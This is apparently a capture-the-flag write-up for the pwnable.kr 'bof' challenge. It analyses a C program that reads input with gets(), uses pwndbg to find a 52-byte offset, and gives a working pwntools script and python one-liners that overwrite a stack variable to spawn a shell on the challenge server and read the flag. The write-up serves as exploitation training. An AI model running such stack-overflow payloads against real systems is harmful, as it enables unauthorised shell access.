PWNABLE.KR - bof

Given two files to download

Binary

Source Code

Lets list our files,

```
ra@moni~/P/p/bof> ls -la
total 24
drwxrwxr-x 2 ra ra 4096 Jun  2 16:08 ./
drwxrwxr-x 5 ra ra 4096 Jun  2 16:04 ../
-rw-rw-r-- 1 ra ra 7348 Jun  2 16:08 bof
-rw-rw-r-- 1 ra ra  308 Jun  2 16:08 bof.c
-rw-rw-r-- 1 ra ra  126 Jun  2 16:09 bof.md
```

Lets check our binary file type using `file` command

```
ra@moni~/P/p/bof> file bof
bof: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24,
BuildID[sha1]=ed643dfe8d026b7238d3033b0d0bcc499504f273, not stripped
```

The source code of the binary file is,

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}
```

Now lets try playing with our binary,

```
ra@moni~/P/p/bof> ./bof
fish: The file “./bof” is not executable by this user
ra@moni~/P/p/bof> chmod +x bof
ra@moni~/P/p/bof> ./bof
overflow me :
deadbeef
Nah..
```

So, it is expecting some different input from us

Lets observe the given binary,

- It has two functions `main()` and `func()`
- `main()` only calls `func()`
- The flow of whole binary depends on `func()`
- The `func()` checks the `key` value
- If `key` is equal to `0xcafebabe` then it spwans a shell
- Else it displays an error message
- But, already `func()` is loaded with `key` in `main()` like `func(0xdeadbeef)`

So we have to perform a "OVERFLOW"

Our binary uses `gets()` from `#include <string.h>`

It is possible to perform "BUFFER OVERFLOW" on `gets()`, since it is a vulnerable function

Lets try to crash our program,

```
ra@moni~/P/p/bof> ./bof
overflow me :
AAAAAAAAAAAAAAAAAAAAAAAAAAA
Nah..
ra@moni~/P/p/bof> ./bof
overflow me :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nah..
*** stack smashing detected ***: terminated
fish: “./bof” terminated by signal SIGABRT (Abort)
```

So we can perform "OVERFLOW" in this binary

Lets check the security mitigations of this binary,

```
ra@moni~/P/p/bof> checksec ./bof
[*] '/home/ra/PWNPractice/pwnable.kr/bof/bof'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

Lets disassemble our program using debugger

Disassembling `main()`

```
pwndbg> disassemble main
Dump of assembler code for function main:
   0x0000068a <+0>: push   ebp
   0x0000068b <+1>: mov    ebp,esp
   0x0000068d <+3>: and    esp,0xfffffff0
   0x00000690 <+6>: sub    esp,0x10
   0x00000693 <+9>: mov    DWORD PTR [esp],0xdeadbeef
   0x0000069a <+16>:    call   0x62c <func>
   0x0000069f <+21>:    mov    eax,0x0
   0x000006a4 <+26>:    leave
   0x000006a5 <+27>:    ret
End of assembler dump.
```

Disassembling `func()`

```
pwndbg> disassemble func
Dump of assembler code for function func:
   0x0000062c <+0>: push   ebp
   0x0000062d <+1>: mov    ebp,esp
   0x0000062f <+3>: sub    esp,0x48
   0x00000632 <+6>: mov    eax,gs:0x14
   0x00000638 <+12>:    mov    DWORD PTR [ebp-0xc],eax
   0x0000063b <+15>:    xor    eax,eax
   0x0000063d <+17>:    mov    DWORD PTR [esp],0x78c
   0x00000644 <+24>:    call   0x645 <func+25>
   0x00000649 <+29>:    lea    eax,[ebp-0x2c]
   0x0000064c <+32>:    mov    DWORD PTR [esp],eax
   0x0000064f <+35>:    call   0x650 <func+36>
   0x00000654 <+40>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x0000065b <+47>:    jne    0x66b <func+63>
   0x0000065d <+49>:    mov    DWORD PTR [esp],0x79b
   0x00000664 <+56>:    call   0x665 <func+57>
   0x00000669 <+61>:    jmp    0x677 <func+75>
   0x0000066b <+63>:    mov    DWORD PTR [esp],0x7a3
   0x00000672 <+70>:    call   0x673 <func+71>
   0x00000677 <+75>:    mov    eax,DWORD PTR [ebp-0xc]
   0x0000067a <+78>:    xor    eax,DWORD PTR gs:0x14
   0x00000681 <+85>:    je     0x688 <func+92>
   0x00000683 <+87>:    call   0x684 <func+88>
   0x00000688 <+92>:    leave
   0x00000689 <+93>:    ret
End of assembler dump.
```

Now, here is the interesting part in this `func()` function

```
   0x00000654 <+40>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe
```

So the value `0xdeadbeef` will be in the stack memory, we just need to replace the value with `0xcafebabe` by overflow

So lets test it with some dummy input and find the offset of `0xdeadbeef` from `overflowme`

Lets set the breakpoints and pass inputs to analyze,

Go for `main()` first,

```
pwndbg> disassemble main
Dump of assembler code for function main:
   0x0000068a <+0>: push   ebp
   0x0000068b <+1>: mov    ebp,esp
   0x0000068d <+3>: and    esp,0xfffffff0
   0x00000690 <+6>: sub    esp,0x10
   0x00000693 <+9>: mov    DWORD PTR [esp],0xdeadbeef
   0x0000069a <+16>:    call   0x62c <func>
   0x0000069f <+21>:    mov    eax,0x0
   0x000006a4 <+26>:    leave
   0x000006a5 <+27>:    ret
End of assembler dump.
pwndbg> b *main
Breakpoint 1 at 0x68a
```

Now start the program,

```
pwndbg> r
Starting program: /home/ra/PWNPractice/pwnable.kr/bof/bof

Breakpoint 1, 0x5655568a in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS
]─────────────────────────────────────────────
 EAX  0xf7fa9808 (environ) —▸ 0xffffd89c —▸ 0xffffda4e ◂—
'ALACRITTY_LOG=/tmp/Alacritty-34408.log'
```

```
 EBX  0x0
 ECX  0x8e86f40a
 EDX  0xffffd824 ◂— 0x0
 EDI  0xf7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
 ESI  0xf7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
 EBP  0x0
 ESP  0xffffd7fc —▸ 0xf7ddaee5 (__libc_start_main+245) ◂— add    esp, 0x10
 EIP  0x5655568a (main) ◂— push   ebp
─────────────────────────────────────────────[ DISASM
]──────────────────────────────────────────────
 ► 0x5655568a <main>       push   ebp
   0x5655568b <main+1>     mov    ebp, esp
   0x5655568d <main+3>     and    esp, 0xfffffff0
   0x56555690 <main+6>     sub    esp, 0x10
   0x56555693 <main+9>     mov    dword ptr [esp], 0xdeadbeef
   0x5655569a <main+16>    call   func <func>

   0x5655569f <main+21>    mov    eax, 0
   0x565556a4 <main+26>    leave
   0x565556a5 <main+27>    ret

   0x565556a6              nop
   0x565556a7              nop
─────────────────────────────────────────────[ STACK
]───────────────────────────────────────────────
00:0000│ esp 0xffffd7fc —▸ 0xf7ddaee5 (__libc_start_main+245) ◂— add
esp, 0x10
01:0004│     0xffffd800 ◂— 0x1
02:0008│     0xffffd804 —▸ 0xffffd894 —▸ 0xffffda26 ◂—
'/home/ra/PWNPractice/pwnable.kr/bof/bof'
03:000c│     0xffffd808 —▸ 0xffffd89c —▸ 0xffffda4e ◂—
'ALACRITTY_LOG=/tmp/Alacritty-34408.log'
04:0010│     0xffffd80c —▸ 0xffffd824 ◂— 0x0
05:0014│     0xffffd810 —▸ 0xf7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
06:0018│     0xffffd814 ◂— 0x0
07:001c│     0xffffd818 —▸ 0xffffd878 —▸ 0xffffd894 —▸ 0xffffda26 ◂—
'/home/ra/PWNPractice/pwnable.kr/bof/bof'
───────────────────────────────────────────[ BACKTRACE
]─────────────────────────────────────────────
 ► f 0 0x5655568a main
   f 1 0xf7ddaee5 __libc_start_main+245
───────────────────────────────────────────────────────────────────────────
─────────────────────────
```

After running the program,

```
pwndbg> disassemble func
Dump of assembler code for function func:
   0x5655562c <+0>: push   ebp
   0x5655562d <+1>: mov    ebp,esp
   0x5655562f <+3>: sub    esp,0x48
   0x56555632 <+6>: mov    eax,gs:0x14
   0x56555638 <+12>:    mov    DWORD PTR [ebp-0xc],eax
   0x5655563b <+15>:    xor    eax,eax
   0x5655563d <+17>:    mov    DWORD PTR [esp],0x5655578c
   0x56555644 <+24>:    call   0xf7e2dcd0 <__GI__IO_puts>
   0x56555649 <+29>:    lea    eax,[ebp-0x2c]
   0x5655564c <+32>:    mov    DWORD PTR [esp],eax
   0x5655564f <+35>:    call   0xf7e2d1b0 <_IO_gets>
   0x56555654 <+40>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x5655565b <+47>:    jne    0x5655566b <func+63>
   0x5655565d <+49>:    mov    DWORD PTR [esp],0x5655579b
   0x56555664 <+56>:    call   0xf7e01830 <__libc_system>
   0x56555669 <+61>:    jmp    0x56555677 <func+75>
   0x5655566b <+63>:    mov    DWORD PTR [esp],0x565557a3
   0x56555672 <+70>:    call   0xf7e2dcd0 <__GI__IO_puts>
   0x56555677 <+75>:    mov    eax,DWORD PTR [ebp-0xc]
   0x5655567a <+78>:    xor    eax,DWORD PTR gs:0x14
   0x56555681 <+85>:    je     0x56555688 <func+92>
   0x56555683 <+87>:    call   0xf7ed44e0 <__stack_chk_fail>
   0x56555688 <+92>:    leave
   0x56555689 <+93>:    ret
End of assembler dump.
pwndbg> b *0x56555654
Breakpoint 2 at 0x56555654
```

Now lets continue our program, until the "compare logic"

Lets pass our inputs,

```
pwndbg> c
Continuing.
overflow me :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 2, 0x56555654 in func ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS
]────────────────────────────────────────────
*EAX  0xffffd7ac ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
 EBX  0x0
*ECX  0xf7fa7580 (_IO_2_1_stdin_) ◂— 0xfbad2288
*EDX  0xffffd7df ◂— 0xadbeef00
 EDI  0xf7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
 ESI  0xf7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*EBP  0xffffd7d8 ◂— 'AAAAAAA'
*ESP  0xffffd790 —▸ 0xffffd7ac ◂—
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
*EIP  0x56555654 (func+40) ◂— cmp    dword ptr [ebp + 8], 0xcafebabe
─────────────────────────────────────────────[ DISASM
]─────────────────────────────────────────────
 ► 0x56555654 <func+40>    cmp    dword ptr [ebp + 8], 0xcafebabe
   0x5655565b <func+47>    jne    func+63 <func+63>
```

```
    ↓
   0x5655566b <func+63>    mov    dword ptr [esp], 0x565557a3
   0x56555672 <func+70>    call   puts <puts>

   0x56555677 <func+75>    mov    eax, dword ptr [ebp - 0xc]
   0x5655567a <func+78>    xor    eax, dword ptr gs:[0x14]
   0x56555681 <func+85>    je     func+92 <func+92>

   0x56555683 <func+87>    call   __stack_chk_fail <__stack_chk_fail>

   0x56555688 <func+92>    leave
   0x56555689 <func+93>    ret

   0x5655568a <main>       push   ebp
─────────────────────────────────────────────[ STACK
]──────────────────────────────────────────────
00:0000│ esp 0xffffd790 —▸ 0xffffd7ac ◂—
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
01:0004│     0xffffd794 ◂— 0x534
02:0008│     0xffffd798 ◂— 0x9e
03:000c│     0xffffd79c —▸ 0xf7fa5a80 (__dso_handle) ◂— 0xf7fa5a80
04:0010│     0xffffd7a0 ◂— 0x0
05:0014│     0xffffd7a4 —▸ 0xf7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
06:0018│     0xffffd7a8 —▸ 0xf7ffc7e0 (_rtld_global_ro) ◂— 0x0
07:001c│ eax 0xffffd7ac ◂—
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
───────────────────────────────────────────[ BACKTRACE
]────────────────────────────────────────────
 ▶ f 0 0x56555654 func+40
   f 1 0x414141
   f 2 0xdeadbeef
   f 3      0x0
───────────────────────────────────────────────────────────────────────────
─────────────────────────
```

Lets view our stack values in memory,

```
pwndbg> x/50wx $esp
0xffffd790: 0xffffd7ac  0x00000534  0x0000009e  0xf7fa5a80
0xffffd7a0: 0x00000000  0xf7fa7000  0xf7ffc7e0  0x41414141
0xffffd7b0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd7c0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd7d0: 0x41414141  0x41414141  0x41414141  0x00414141
0xffffd7e0: 0xdeadbeef  0x00000000  0x565556b9  0x00000000
0xffffd7f0: 0xf7fa7000  0xf7fa7000  0x00000000  0xf7ddaee5
0xffffd800: 0x00000001  0xffffd894  0xffffd89c  0xffffd824
0xffffd810: 0xf7fa7000  0x00000000  0xffffd878  0x00000000
0xffffd820: 0xf7ffd000  0x00000000  0xf7fa7000  0xf7fa7000
0xffffd830: 0x00000000  0x8e7f65c4  0xca9223d4  0x00000000
0xffffd840: 0x00000000  0x00000000  0x00000001  0x56555530
0xffffd850: 0x00000000  0xf7fe7b24
```

We can clearly see that,

`0xffffd7e0` has `0xdeadbeef`

Our buffer starts after `0xffffd7a0`+ `12 bytes` = `0xffffd7ab`

Lets find the offset of the `0xdeadbeef` data,

`offset=0xffffd7e0-0xffffd7ac`

Offset distance can be given by,

```
>>> hex(0xffffd7e0-0xffffd7ac)
'0x34'
>>> print(0x34)
52
```

So `0xdeadbeef` comes after 52 bytes of buffer

If we can overwrite `0xdeadbeef` with `0xcafebabe`, a shell will be opened

Now, lets try to exploit the program locally using `pwntools`

```
ra@moni~/P/p/bof> cat exploit.py
#!/usr/bin/python
from pwn import *
buf=""
buf+="A"*52
buf+=p32(0xcafebabe)
host="128.61.240.205"
port=9000
#p=remote(host,port)
p=process('./bof')
p.send(buf)
p.interactive()
```

By running this exploit

```
ra@moni~/P/p/bof> python exploit.py
[+] Starting local process './bof': pid 36634
[*] Switching to interactive mode

$
$ whoami
ra
$
```

```
[*] Interrupted
[*] Stopped process './bof' (pid 36634)
```

Other way to exploit by piping,

```
ra@moni:~/PWNPractice/pwnable.kr/bof$ (python -c
"print('A'*52+'\xbe\xba\xfe\xca')";cat) | ./bof
overflow me :
whoami
ra
ls
bof  bof.c  bof.md  exploit.py
echo "OVERFLOW"
OVERFLOW
```

Now lets try to exploit this on server,

```
ra@moni:~/PWNPractice/pwnable.kr/bof$ python -c
"print('A'*52+'\xbe\xba\xfe\xca')" > exploitdata
ra@moni:~/PWNPractice/pwnable.kr/bof$ cat exploitdata
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�

ra@moni:~/PWNPractice/pwnable.kr/bof$ ^C
ra@moni:~/PWNPractice/pwnable.kr/bof$ (cat exploitdata ;cat) | ./bof
overflow me :
ls
bof  bof.c  bof.md  exploitdata  exploit.py
^C*** stack smashing detected ***: terminated
Aborted (core dumped)

ra@moni:~/PWNPractice/pwnable.kr/bof$
```

Now lets try it,

```
ra@moni:~/PWNPractice/pwnable.kr/bof$ (cat exploitdata ;cat)| nc
128.61.240.205 9000
overflow me :
whoami
bof
cat flag
daddy, I just pwned a buFFer :)
```

Lets do with `pwntools`

```
ra@moni~/P/p/bof> cat exploit.py
#!/usr/bin/python
from pwn import *
buf=""
buf+="A"*52
buf+=p32(0xcafebabe)
host="128.61.240.205"
port=9000
p=remote(host,port)
#p=process('./bof')
p.send(buf)
p.interactive()
```

Trying it,

```
ra@moni~/P/p/bof> python3 test.py
[+] Opening connection to 128.61.240.205 on port 9000: Done
[*] Switching to interactive mode
$ whoami
$ whoami
bof
$ cat flag
daddy, I just pwned a buFFer :)
```

Done! we got the flag

`Flag: daddy, I just pwned a buFFer :)`